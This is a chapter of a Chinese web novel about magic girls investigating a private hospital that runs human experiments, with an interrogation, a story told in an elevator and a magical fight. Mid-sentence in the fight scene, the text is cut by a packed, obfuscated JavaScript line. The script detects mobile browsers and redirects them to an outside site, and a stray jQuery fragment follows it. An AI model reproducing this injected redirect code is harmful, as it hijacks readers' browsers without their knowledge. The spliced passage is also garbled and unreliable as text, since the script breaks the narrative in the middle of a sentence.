43.novem

作品:《四个魔法少女的生存游戏

    “在你就任之前的这里的院长你有印象吗?名字应该是叫Matora。”森山寺未央问。


    “我们没有什么交流,她本不是这里的人,给我留的东西少得可怜,不过也足够我应付初期的工作了。”博蒙想了想,补充说,“如果你们去孤儿院那边的话能在顶楼找到她之前用的办公室,不过那里荒废了很久,现在大概就是个储藏间了吧。”


    “那里我们去过了,我们找到了一些文件和实验记录。我们发现医院重建之前和重建之后的信息差异有些大,除了设备原因外还有其它原因吗?”森山寺未央追问说。


    “这我就不清楚了,她并不是我找来的人,医院的重建和她的关系没有那么大。”博蒙优雅地摊了摊一只手。


    “你说,她,Matora是女性吗?官网上不是说是男的吗?”森山寺未央意外地问道。


    “至少我见过的那位没有做变性手术的打算,头发白的太早的女人,十多年前大概四十多岁吧?”博蒙回忆着说。


    这与森山寺未央印象中的Matora形象大不相符,白发四十多岁的女性并不算少见的特征,但Matora的官方网站照片虽然是长发但毫无疑问是个男性,除非他因某件事一夜白了发并且在中年有了孩子的情况下忽然觉醒了新的性别意识。


    “医院重建之前的院长和医院重建后到2009年之前的院长并不是同一人,对吧?”森山寺未央确认她们的猜想。


    “当然不是,重建之前这里根本没有过医院。”博蒙皱眉说,“重建前的事务我不关心。”


    森山寺未央有些疑惑,但先将这件事记了下来。


    “关于医院重建的事情您知道多少?”森山寺未央问出了她最为在意的问题。


    “这个是个会让我脖子断开的问题,有人对这件事恨得牙都要咬碎了吧。”博蒙露出了讥讽喜悦的笑容,“我尚且还需要留着这条命,换一个问题吧,如果你们足够努力的话这个问题会有别人替我回答的。”


    “这个人是谁?”森山寺未央皱眉问。


    “到底是谁呢?”博蒙漫不经心地说。


    森山寺未央心里忽然有了个想法。


    “医院重建时有清理湖边的芦苇吗?”森山寺未央问。


    “奇怪的问题,不过这件事我确实知道。”博蒙理所当然地说,“医院重建还是用的我的资产,当然要符合我的审美,我不会让那种植物留在我的领地上。”


    “你的资产?你是说这里吗?”森山寺未央指的是神脉医院。


    “当然还有那家现在坐着一个杂血的CEO的公司,”博蒙不屑地说,“现代的医疗设备比起过去算是改头换面了,一家社区医院能有什么收入?你一个高中生根本没办法想象吧,我个人可以支配阿贝尔家族在这个国家的所有私产,不过我死去之后就不得而知了。”


    她好像是在炫耀什么。


    “那现在这里的收入就很高吗?医院这里,你们做人体实验总得有经济支持,这个支持难道是全部由你的私产和Evo的收入支持的吗?那个CEO是重要参与者?”森山寺未央问。


    “重点在于药物,以及位置,更多的就不能说了,不过你们或许马上就会了解到了,不会让你们等很久的,她等不了。”博蒙笑着说。


    森山寺未央发现这个人特别喜欢说话说一半,她也没办法强迫对方继续,只能自己推测后面的东西。


    “那你能说一会要来杀你的人是谁吗?幕后黑手是谁?”森山寺未央问。


    “很遗憾。”博蒙垂眼。


    “那些人到底想做什么?”森山寺未央继续问。


    “谁知道呢?或许是和我们家族完全相反的东西吧。”博蒙说着,再次看向了墙壁上的族徽,“无论是芦苇岸还是这里,都是属于阿贝尔的领地,但以后就不好说了,好在我会死在那之前。”


    她是乐观的。


    “说起来为什么你们的姓氏是外国人的姓氏啊。”森山寺未央问。


    “现在才问吗?”博蒙挑了挑眉,“大概两个世纪前,我们一脉搬迁两个国度最终来到这里定居下来,与本地人打好了关系后就算半个本地人了。那个时候我们家族内产生了一些纠纷,亚贝琉和阿贝尔分割,但明显现在我们家族的人数已经不足以产生内乱了。”


    “亚贝琉和阿贝尔原本是一脉相承的吗?”森山寺未央问。


    “确实如此,”博蒙单手撑着下巴,眼里闪过了昔日的景象,“无非是抵达这个国家的先后顺序而已,却产生了无法抚平的分歧,但无论如何只要能达成最终的目的,无论多大的分歧终归源自同一条枝干。本该如此,但可惜,现在只能指望另一边了。”


    “那些天使都姓亚贝琉,但她们明显和你不是一脉的吧。她们都是实验室人体实验的牺牲者。”森山寺未央问。


    “天使是我们制造的近侍,本来是罐头里的消耗品,只不过现在有人觉得这太奢侈了给了它们更长的生命,也不归我们所有了。”博蒙无所谓地说。


    “阿贝尔家族的目标是什么?”森山寺未央忍不住问了。


    到底是什么样的目标会让一个家族上下所有人抛弃人性投身到人体实验中去?


    “…我们的家族在另一个国家曾经是神的代言人,有奇迹作为证明,阿贝尔家族是不朽的化身。”博蒙说着,语气低沉了下来。


    森山寺未央心里思索,长寿确实很能令人信服。


    “我们所制造的奇迹太多了,那些受了恩惠的聚集在一起想推翻什么,于是我的祖先感到愤怒,决定将力量握在手里,自己成为神的化身。但我们总是这样不幸,再多的素材堆积也无法抵达奇迹,那并不是一个概率。”


    说到这里,博蒙的语气近乎是在叹息。


    但森山寺未央没去理解她的遗憾还是其它什么情绪,她只是觉得愤怒,愤怒那些孩子们的生命被一个个投进实验室里,只因为一个看不到头的,荒谬的目标。


    “所以你们就强迫那些孤儿接受人体实验吗?作为你们成神的垫脚石?”森山寺未央愤怒地质问。


    “是的。”博蒙面不改色地回应。


    这个回应太理所当然了,仿佛她发自真心地认为天生如此。


    “你们没有把那些孩子当作人看吗?”森山寺未央想起那些实验记录。


    “…你居然把人类当作同类看待吗?放弃吧。”博蒙却是疑惑地看向神情激动的是森山寺未央,“早一点放弃就少一些痛苦,这一点你也是能理解的才对吧。”


    “你在想什么?我当然是人类啊?!我有家人和朋友,她们也都是人类!”森山寺未央愤怒地说。


    “这样啊。”博蒙若有所思,“所以你们才如此烫手,我不打算纠正你的或者我的想法,不过如果你这样想的话,最好珍惜她们吧。”


    “什么意思?你们会对我们的家人动手吗?”森山寺未央大惊。


    “…这是一方面,也有另一方面,你到了那一步就会知道了。”博蒙面不改色地说,“如果那些人觉得有必要的话就会去做,在这方面我更有人情味一点哦。”


    “净会扯些谎话!”森山寺未央惊怒着说,“你们没一个好东西,你根本就没有珍视的东西吧?这么随意地将生命作为道具使用,你怎么敢说自己有人情味的?”


    博蒙不说话了,她愣愣地坐着,过了一会才再次开口。


    “反正我要死了,无论是什么都会失去,都无所谓了吧。”她说。


    之前每次提起自己的死,博蒙都会如抽了一口烟一般平静下来,可这次她没有,但森山寺未央也不在乎她的想法。


    “如果我们在这里杀了你会怎样。”森山寺未央压抑着愤怒问。


    “我会想办法挣扎一下。”博蒙笑了。


    一旁犬山晓坐过的那把椅子的椅背忽然抬起,一个黑色的小孔对准森山寺未央的脑袋。


    “后来博蒙大概是终于忍不了了,和公司那边的人商量之后跑来这里当了院长,但殊不知在这里她离血湖更近了,每天她都得亲自带着RP-d去血湖岸边倾倒,那血腥味和精神影响是她夜晚无法入眠的最大元凶啦。”RP-e315笑嘻嘻地说。


    对于以孩童的身体度过长年累月的RP-e315无法理解以成年人的身体度过那些如孩童般的无助岁月的博蒙-阿贝尔的。


    按照2009年往前推的话,博蒙-阿贝尔作为新生者来到世间不过四五年尔尔,她将自己过去的使命,知识,以及无法处理的感情浓缩到这最多五年的时间里去消化,说一句消化不良都算是好的。


    在那时她如何处理身为女儿,身为陌生人,身为妹妹的格雷伊向她投递,向她索取的那些感情,已经不为人知了。


    毕竟满打满算犬山晓与她见面的时间不过五分钟,连“第一印象”都没加载出来。


    但就RP-e315那些不知是否属实的评价来说,那绝不是什么能被爽朗地表达出来的感情吧。


    以目前得到的信息而言,博蒙所经历的一切都是源自一次换血实验导致的悲剧,在那其中的家族的传承和使命犬山晓无法理解,在她看来没有什么比原本幸福的家庭破碎更为难以承受的结果了。而博蒙早知道可能会有这样的结果还参与实验,犬山晓就只能认为她是自作自受了。


    “你也是吧?因为血湖的精神影响而被迫住院什么的。”犬山晓说。


    “确实如此,我在的病房有一定的封印之匣的效果,能减弱这种感知,一定程度上延长我的使用期限,不过事到如今怎么延长都没用啦。”RP-e315毫不在意地说,“我最清楚不过了,哪怕我一直在病房躺着,最多后天我就要死了。”


    “封印之匣,那是什么?”犬山晓念叨这个名字。


    “是40多年前一个外面来的人带过来的技术,听名字也能听出来是博蒙家族的东西吧?”RP-e315说,“神脉医院这个名字也是,也就是这里是私人医院了。我都不敢想如果我没死,以后出去和别人自我介绍说我来自神脉医院,那得多有意思。”


    一直以来待在实验室中的她从未理解过“外面的世界”是什么样的,只能偶尔从那些梦游者的呓语中窥探一些主观视角的陈年往事,而那些梦话多是感情的碎片,天知道RP-e315攒了多久才梳理出来这么一个完整的故事。


    而故事中的那些配角,那些地方,她连理解的渠道都没有。


    “你倒是乐观?”犬山晓也不知道该说什么。


    “能亲眼看到血湖我超高兴的!不过一会接近了血湖我的精神状态会受到影响,有问题最好快点问哦。”RP-e315满足地说,她似乎将听到的东西憋了很久,总算有人能听她说话了。


    犬山晓将故事记在了笔记上。


    “不过先来评价一下吧,这也是讲故事的乐趣所在,你对这个故事的评价是什么?”讲故事的人发问。


    “…像是一出惨剧。”犬山晓如实评价,“过程的每一个转折都生硬又悲惨,如果是编的,那就是为了悲剧而悲剧的坏剧本吧。”


    “现实又不是故事!”RP-e315自觉带入了编剧视角,语气不满,“而且这样看的话她,她们不是反派吗你同情什么?我在问你对那些人的看法,人!”


    也对,事实已经发生了,总不能够是编出来的,犬山晓心想。这里只有她和一个实验品,她说出什么话来都不会有什么是不对的,不用担心有人发现她的不同之处。


    “我觉得,只是我觉得啊。”犬山晓说,“我觉得家人果然应该去珍惜一下吧,故事里的人,博蒙,格雷伊,她们是家人不是吗?又是姐姐又是妈妈那不是应该更亲了吗?我实在是不理解恨是怎么出现的。”


    或许是因为真相将至,她也没那么急迫了。


    “什么嘛,你的思想好无聊!”RP-e315非常不满这种毫无新意的评价,“什么叫不理解恨是怎么出现的,我不是说的很明白了吗?博蒙恨格雷伊背叛阿贝尔家族,背叛阿贝尔家族也就是背叛她。而且她的个人存在价值也被摧毁了,这还不足够吗?”


    很明显RP-e315完全不打算解释自己对家族,对背叛,对恨的理解。


    “…先不说她有没有那么在意阿贝尔家族的存亡吧。”犬山晓想起博蒙那副因为死亡降临而轻松的脸,“个人存在价值不是后天构建的吗?格雷伊绝对不会伤害博蒙的吧,她怎么会摧毁博蒙的个人存在价值呢?而且说到底个人价值到底是什么啊?”


    犬山晓不太懂哲学,个人存在价值似乎不能和工资完全划等号,她不理解这个概念。


    “好吧,其实我也不是很理解,这个词也是我听来的。”RP-e315搓了搓犬山晓的脑袋,“不过大概就是,觉得自己一无是处,什么都做不到还不如去死,这种感觉吧?”


    “那不就更不可能了吗?”犬山晓想叹气了,“我说啊,你能理解家人的概念吗?她们无论是姐妹还是母女,彼此之间都不可能互相伤害到这种程度的吧?”


    “…我的血湖母亲很爱我。”RP-e315嘟囔着说,她确信。


    “血湖到底要怎么才能成为母亲?”犬山晓质疑道,“血湖不会抱着你,不会安慰你,不会关心你,它要如何才能成为你的母亲?”


    很明显,犬山晓对母亲的功能了解是比较片面的。


    “你没有母亲吗?”RP-e315忽然问道。


    “…我不记得了。”犬山晓说,又后悔觉得或许这里可以坦诚一些。


    “母亲啊,不是那样的存在。”RP-e315轻轻地说,“拥抱,轻声细语,爱,确实是很好的东西。但是一个母亲没有那些东西也可以是一个母亲,我不理解很多东西,但是如果我呼唤说:妈妈,或者母亲,我能感受到,血湖在回应我。”


    她的语气真挚,犹如诉说自我的真理。


    “那又如何呢?回应你,那又如何呢?我也可以回应你啊?”犬山晓质疑道。


    “你不如也考虑回归血湖吧?忘记了也没关系,灵魂不会说谎,或者说一切其实都不必在意的。”RP-e315劝诱道,“回到母亲那里,回归母国,母权是不可违背的,因为你永远会爱你的母亲。你说你不记得了,可出生的人怎么会不渴望回归呢?”


    RP-e315谈起这些话就没有结束的打算,犬山晓没有回应这个问题。


    “同理,博蒙与格雷伊也是如此,伤害,憎恨,厌恶,咒骂,与回归是可以同时存在的。但那一定是一条非常痛苦的路吧。”RP-e315叹了口气,“要我说大家就应该一起回归血湖,没有你我爱恨之分,真诚才是最美好的品德啊。”


    “你这些话听上去太像传教的了,我没有入教的想法。”犬山晓评价道。


    “我早就看出你是个固执的人了,算了,你迟早会意识到的。”RP-e315无所谓地说,“现在是提问时间。”


    “那先把实验室的地址告诉我。”犬山晓也不客气。


    “从综合实验楼的停车场坐专用的小火车,到目的地后坐中间那个电梯下到3楼,通过层层验证就是啦,那边的验证比血湖这里的简单多了!”RP-e315说得很干脆。


    电梯缓缓下行,犬山晓将信息记下。


    “接下来是天使,你知道天使一共有几位,各自的能力是什么吗?”犬山晓问。


    “天使不过是那些器官的器皿,虽然可贵但也并非唯一的存在,根据不同性能得到不同的代号,你之前有遇到过天使吗?”RP-e315问。


    “遇到过,我把她的心脏击碎了。”犬山晓说。


    “这样不行哦,得把全身都碾碎才行,天使的器官是其魔法源,而且是可以移植的!”RP-e315如广告推销员一般说。


    犬山晓想起自己为了资金贡献的大量器官,不由得有种搬石头砸自己脚的痛感。


    “好吧,那那些天使得有个领头人吧,这个人是谁你知道吗?”犬山晓问道。


    “知道!是一位只有一只眼睛的女士,代号是叫行刑者来着,她也接受了换血的手术,但是相当成功呢,她有办法让天使听话,具体是什么我就不知道了,那些天使的尸体没有回归过这里的血湖。”RP-e315不满地说。


    犬山晓将信息记了下来,根据特征,这个人应该就是湛了。


    “哦哦,越来越近了,快点问问题吧!”RP-e315激动地摇晃犬山晓的脑袋。


    “这一切的幕后黑手,你有什么线索吗?”犬山晓歪着脖子问。


    “我也很想知道,但这个人即没有做过换血手术,也没有明目张胆地在这里出现过,很神秘的一个人。不过在故事中她的代言人倒是经常出现呢。”RP-e315说。


    “是谁?”犬山晓追问。


    “代号叫报丧鸟,头发像月光一样,身边总是带着些稀奇的东西,很强壮的人,她很强哦,而且最近学会了用很奇怪的魔法。”RP-e315说出自己的印象,她的语气有些无精打采了。


    犬山晓心想这两个人的代号有够不吉利的。


    “什么魔法?”犬山晓问。


    “说话的魔法。”RP-e315说着,电梯到达了最下层。


    电梯门打开,犬山晓眼前是一片昏暗的空旷区域,容量宽广但未能起到实用效果,放眼望去走廊一眼看不到头,只是偶尔冒出一扇门。电梯出口处左手边有着一辆大型手推车,类似于仓储式超市中用于运货的那种,上面有些污渍。


    除此之外整片空间什么都没有,电梯门没有关上的迹象,犬山晓回头看,发现电梯门的旁边没有可以上去的按钮。


    “那些人把对象往手推车上一放就得走,所有电梯口都通向这个空间,电梯停五分钟,一会你自己想办法回去吧。”RP-e315毫不在乎地说。


    【这个电梯只能下不能上,麻烦一会过来接我一下。】犬山晓尝试给森山寺未央发送传音,这里一点手机信号都没有。


    【好的!我差不多十分钟后过去。】森山寺未央回应说。


    犬山晓松了一口气,她抵达这里时心脏的跳动就开始加速并且不规律,缘由不明,可能是紧张,可能不是。这种感觉太糟糕了,她不想在这里多停留。


    “一直往前走,走到尽头有扇门,门开了是一座电梯,那个电梯倒是随意上下的,不过只有院长的钥匙卡能开。”RP-e315说,她相当熟练。


    按照她的直视,犬山晓朝深处走去,她的脚步很轻但这里实在是太安静了,她的脚步声很响。


    “旁边的那些门就是其它建筑楼电梯通往这里的门吗?”犬山晓问。


    “是的,最靠近里面的就是孤儿院那边的电梯哦?那边的电梯还可以下行到孤儿院下方的观察室哦你可以去看看。”RP-e315分享道。


    犬山晓没有再回应,而是加快了前进的步伐。


    格雷伊控制司机在神脉医院大门门口急刹车,她快速地跳出了车门,安保人员见状降下了保安亭的窗户。


    “请问您有预约吗?”工作人员警惕地问。


    格雷伊当然是没有,她指尖的血线从窗户探入,缠绕上对方的脖子,很快,大门被打开了。


    见状格雷伊也不回车上了,抬腿就准备往医院内部跑,临走前她回过头问工作人员。


    “院长办公室怎么走?”


    “综合医疗楼,二楼。”


    说罢,格雷伊断开了血线,那安保人员头栽倒在工作台上。


    快一点,再快一点,格雷伊焦急地往综合医疗楼跑。


    那四个人都不是会主动杀无辜者的人,可她心里清楚博蒙-阿贝尔绝不是无辜的,她不隐瞒自己所做的任何事,也对自己所做的一切引以为傲。


    而杀死这样一个恶徒甚至不需要犹豫的理由吧。


    综合医疗楼大门处,格雷伊在考虑要不要直接破坏需要钥匙卡的入口,下一刻门自动打开,她抬脚就准备走进,却看见了脚步匆匆准备离开的森山寺未央。


    “你——”格雷伊惊怒地抓住森山寺未央的手臂,心里涌起一阵坏预感。


    而赶往住院楼的森山寺未央吓了一跳,她还以为自己被安保人员抓住了,但回头一看却是一个她不认识的人,头发和半张脸都被明黄色的斗篷兜帽遮住了,看这穿着也不像是医院里的工作人员。


    难道是医闹的?森山寺未央一阵怀疑,但她不想浪费时间,准备直接把对方的手甩开。


    “你把她怎么样了?”格雷伊开口问,声带紧张地发抖。


    “什么?你认错人了?我不是这里的员工。”森山寺未央感到莫名其妙。


    “院长,你把院长怎么样了?”格雷伊重复了自己的问题。


    森山寺未央恍然大悟,眼前这人八成就是博蒙嘴里说的今天要来处理她的人,说不定是天使的一员,她紧张地后退,用力把对方的手甩开了。


    格雷伊的手停顿在半空中,颤抖着握紧,森山寺未央不理解对方为何是这幅态度。


    “你要做什么?”森山寺未央问。


    “她在哪?”格雷伊焦急地问,曾经懦弱的人没了影子。


    “你是Evo那边派过来的人吗?”森山寺未央问。


    “她怎么样了?”格雷伊问。


    她的声音颤抖,半张脸下漏出部分视力器官,那空白处的红血丝难以忽视,但她依旧目不转睛地盯着森山寺未央。


    这样下去不行,森山寺未央意识到对方的神色越来越紧绷,她环顾四周,好在附近没什么人,综合医疗楼西面有一处空旷的地方,森山寺未央抬脚往那里跑去。


    但这一举动却让格雷伊惊怒交加,她那一直因紧张而高高耸起的双肩如链接断裂般落下,五指微张,十条血线垂落在地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783373|173535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面,很快垂直升起去追逐森山寺未央的背影。


    那家伙疯了吗在自己势力下的医院动手?森山寺未央大惊失色,但很快翻身一跳避开了袭击,那血线如跟踪导弹一般追逐着她飞去,森山寺未央迅速换上魔法少女装束,连续翻出三张卡牌化为黑影挡在她身前。


    三枚卡牌停滞,落地,迅速变化为三个约两米高的盔甲士兵,通体漆黑但散发出金属光泽,一个拿着双手剑,一个拿着刺剑,一个拿着单手剑和盾,三个士兵快速向格雷伊袭击而去。


    森山寺未央指挥盔甲士兵包夹对方,同时召唤三张卡牌消耗了她大半魔力,她暂时判断不出对方的实力,但无论如何必须尽快结束战斗。


    格雷伊手中的线在追逐目标未果后迅速收回,三枚士兵的出现没有让她面色发生改变,那些线再次朝对方攻去。


    手持刺剑的骑士将刺剑向前抛出,直指格雷伊面门,那黑色一米长的剑身在半空中旋转着拉长,该士兵持有的加速魔法在刺剑上显现,下一刻它朝着对方以抛起的速度十倍不止地向前冲刺。


    格雷伊紧急抬起右手,五根血线险而又险地在剑尖离格雷伊面孔还剩手掌宽的距离时将其缠绕住,但那刺剑没有停止前进的意图,继续加速朝前方刺去。


    格雷伊五指收紧,红色的线没入漆黑的刺剑中,令其崩碎。


    她的右手挥开残渣,与左手合拢在一起,那血线在她的周身绕了个优雅的圈朝那手上没了刺剑的骑士攻去,很快将其包围了起来。


    森山寺未央见状紧急收回了那枚卡牌,她没有为此犹豫,剩下的两个骑士趁此机会快速冲向对方。


    果然,只要消灭她的卡牌,她的魔力就会消耗很多,格雷伊尽可能地让自己冷静下来。


    单手剑骑士快,双手剑骑士慢,格雷伊控制着血线在半空中画了个圆形拐弯包住了双手剑骑士令其动弹不得。


    但另一个骑士没有任何犹豫地抛下了背后的同伴,继续朝格雷伊冲来。


    根据对第一位骑士的观察,格雷伊判断这三个骑士应该分别拥有不同的魔法,而根据它们的行动规律,单手剑骑士所拥有的是加强防御的魔法,双手剑骑士是加强力量的魔法,刺剑骑士是加强速度的魔法。


    而此时她所需要做的就是尽快将高威胁的高攻击力敌人解决,再回头解决另一个,这是她老师教导她的战斗技巧。


    而森山寺未央见状没有收回双手剑骑士卡牌也没有命令单手剑骑士撤退,她抬起手杖下达命令:“交换!”


    那单手剑骑士高举盾牌,为双手剑骑士附加了护盾,双手剑骑士大剑向地面刺去,为单手剑骑士的剑附加了锋利。


    那单手剑虽没有大剑的重量,却在使用者抛弃了盾牌之后显得额外地灵巧,它的剑锋偏开围绕着格雷伊的线向它本身刺去。


    是防守,还是进攻?


    刹那间,格雷伊不知该如何做,但那一瞬间的迷茫足以让她失去最好的机会。


    那单手剑骑士的剑锋一闪,穿过层层红色的包裹眼见就要刺中格雷伊本身。


    “叮——”


    剑被挑开了,那包围着格雷伊的层层红线之间,有什么东西出现在了其中。


    森山寺未央一惊,她察觉到了魔物的气息。


    那诞生于红色之中的魔物手持双剑,无头,下半身肢体是蛇形,整体如一具行走的骨架,若有乐羽生或犬山晓在这里就能认出这是她们曾经遇到过的那只魔物。


    “等等?!”但被魔物保护的格雷伊却大惊失色,她顾不及去攻击任何一个骑士,那红线迅速被她收回并缠绕上那突然出现的魔物的身上。


    那魔物在挣扎,但那些能击碎刺剑的线没有伤害到魔物哪怕一分一毫,是格雷伊在小心翼翼地控制。


    可这绝不是该在一场战斗中做的事情。


    森山寺未央没有放过这个机会,大剑骑士起身奔向格雷伊,魔物挣扎着,格雷伊所有的线都用于控制它。


    大剑骑士很快就抵达了格雷伊身前,两米高的骑士高举两米高的大剑,身影遮去天光,格雷伊眼睁睁地回头看向那黑色的影子,意识到自己来不及躲开了。


    “咚——”


    又有谁把森山寺未央的攻击挡开了,但这次可与单手剑的刺击不同,附加蓄力和力量魔法的双手剑骑士的一击足以劈开半米厚的钢板,也就是民用防爆建筑的水平。


    而挡下这一击的是一把黑色的斧头,不比手臂长,刀锋不亮,它在凌空飞来打开双手剑之后便消散了,但没有谁错过它的出场。


    黑影的出发点在一处拐角,森山寺未央确信自己刚确认过那附近无人存在。


    “到此为止。”突然出现在拐角处的人开口说,她姗姗来迟,语气却并不匆忙。


    那是一个近乎融入阴影的人,不说话时几乎没有任何气息波动,黑色如影随形她,或者说她携带黑色的影子袭来。周围没什么风,她的额发微微浮动,露出她左眼的眼罩。


    森山寺未央认出了这个人,CEO的总裁,湛,十多年未接受采访,她似乎因此也永葆青春了一般。而她出现在这里也意味着她们的行动暴露了,她必须得尽快将这件事告诉其它人,也得想办法活下去。


    那人不急不缓地一步一步走向格雷伊,无视对方苍白且布满冷汗的脸,直接看向被红线包裹地严实的魔物,她嘴角的笑容动了动,要裂不裂。


    森山寺未央察觉到了非常强大的魔力气息,这并不是她能应对的对象,她迅速收回了两个骑士,但是湛没有对她的行动产生反应,甚至没有去看,只是注视着那个魔物。


    “没想到还能看到你,你好,再见。”湛略微侧目看向那魔物,魔物不动,她嘴角下垂,抬手掀开了左眼的眼罩,那之下是一枚血红色的瞳孔。


    与那红砖房不同,这血色是彻底的不详预兆。


    “滚回去,丢人现眼。”湛的语气轻缓,也笑着,不像是在说这样严厉的话。


    那魔物像是受到了什么刺激一般迅速消失在了线团之中,但格雷伊却没敢有动作。


    于是接下来,湛的视线也转移到了格雷伊身上。


    “你也一样。”她说。


    被那血红色的瞳孔无声地批判的格雷伊呼吸都静止了一瞬间,视线之下,她指尖的血线缓缓收回,回缩,只剩下一些血渍黏在指尖上。


    服从的态度让湛收回了视线,转而看向在场的另一个人,森山寺未央肩膀一缩。


    “那边的那位盛装出席的小姐,是叫森山寺未央,对吧?”湛说着,语气又带上了施舍般的笑意和亲切,她的眼睛眯起,卧蚕没有中和任何血瞳带来的锋利感,“初次见面,我是Evo的CEO,湛,请替我向另外几位问声好。”


    她没有攻击的动作,但森山寺未央依然不敢放松,她无法理解那笑容带着的感情,甚至觉得那可能是一种威胁。


    “我也成为了会吓小孩子的大人了吗?”湛笑了笑,将眼罩戴了回去,整体回归黑色,这让她身上的锋利气息收敛了一些。


    也就是森山寺未央能感受到的那多余的一些而已。


    “你,你是亚贝琉湛,你来这里打算做什么?”森山寺未央紧张地问,她的心脏跳得很快,好在帽子有遮去她一半的脸。


    而她的紧张也似乎被看穿了,湛看了一眼低着头不说话的格雷伊,黑色眼睫盖住独眼,如刀划过,她因不满意而笑得不算温柔。


    “如你所见,我来接不成熟的小辈,能看到你也算是意外之喜了。”她回望森山寺未央。


    “她是来处理这里的院长的,你来接她?”森山寺未央质疑道,“你不相信自己小辈的工作能力吗?”


    “她的名字是格雷伊,这下你总该能理解了吧?”湛说,“博蒙不需要我去处理,她的悲剧命中注定。”


    而这却是足以向森山寺未央解释格雷伊出现在这里的动机了,她想起博蒙那憎恨的口吻中说出的那些话,不由得看向格雷伊。


    若是格雷伊为了博蒙而来,那也不难解释她为何是那副紧张的样子了。


    “该走了。”湛见森山寺未央明白了什么,转身准备离开了。


    但格雷伊依旧没有动作,很快就走了。


    “我,我已经失去了妈妈,我不想再失去姐姐。”她的声音哽咽着,有眼泪流下来,掉在草坪上,短绿接住水分。


    “求求你了,我真的不想失去我的家人,你知道的吧?!”格雷伊朝湛的背影恳求,她甚至不敢拉住对方,“我会努力的,我不会再让任务失败了,求您想想办法,能,能让我和老师说一下吗?要我怎么做都可以,什么都可以!”


    而那个被恳求的人没有回头。


    “我说过,到此为止。”她稍稍偏过了头,声音听不出情绪。


    “我不走,我要见姐姐,让我见她——”格雷伊没有放弃,她在哭但也在坚持,甚至转过身准备自己行动起来。


    但这似乎就到湛忍耐的极限了,她再次转过身,脸上带着笑,但森山寺未央看不出对方的情绪,格雷伊见状想说些什么,但湛没有给她开口的机会。


    “咚——”


    相似的一击,但武器不在,湛只是简单地握拳砸了格雷伊的脑袋,她就这样站着看着格雷伊倒下,仅剩的一只棕色瞳孔笔直下垂,在日光中也透不出暖意。


    “真是该让哪家伙也看看她的学生有多丢人。”湛嗤笑了一声,单手抓起格雷伊的斗篷把其整个拎起来,朝森山寺未央笑了一下,最后头也不回地走了。


    森山寺未央小心地远远地跟着对方,看着她一路慢慢悠悠地走向医院主干道,拉开一辆黑色私家车的车门,把格雷伊扔进后坐,倒车,车辆和她一起离开了。


    危机解除,森山寺未央疑惑地判断道,但现在并不是一个合适的思考时机,犬山晓还在等她开门。


    归途车座上方向盘无人看扶,得益于自动驾驶,司机现在可以用两只手玩手机了。湛确实也在这样做,她在手机上翻了一会,播出了一通电话。


    电话以最快的速度接通了,她没有等对面的人“喂?”,直接说出了自己的需求。


    “观察区有人闯进去了。”她说。


    “这?!我,我很抱歉,我不知道,我以为——”电话那头的人光是听声音就知道其情绪有多胆战心惊,湛显然不在意。


    “拿一瓶RP-D,去倾倒物处理区,有人下去了,怎么用你自己决定吧?不过我希望是有趣的结果。”她说。


    “我很抱歉,我——”话没说完,湛切断了通话。


    另一人手里还拿着电话,嘴里道歉的话堵在忙音说不出口,过了一会,她放下了电话。


    “我必须留在这里。”最后,她下定了决心。


    湛扔下手机,调出监控画面。


    “既然打断了一出好戏,那就要赔我一出好戏才行吧。”她兴致盎然地笑了。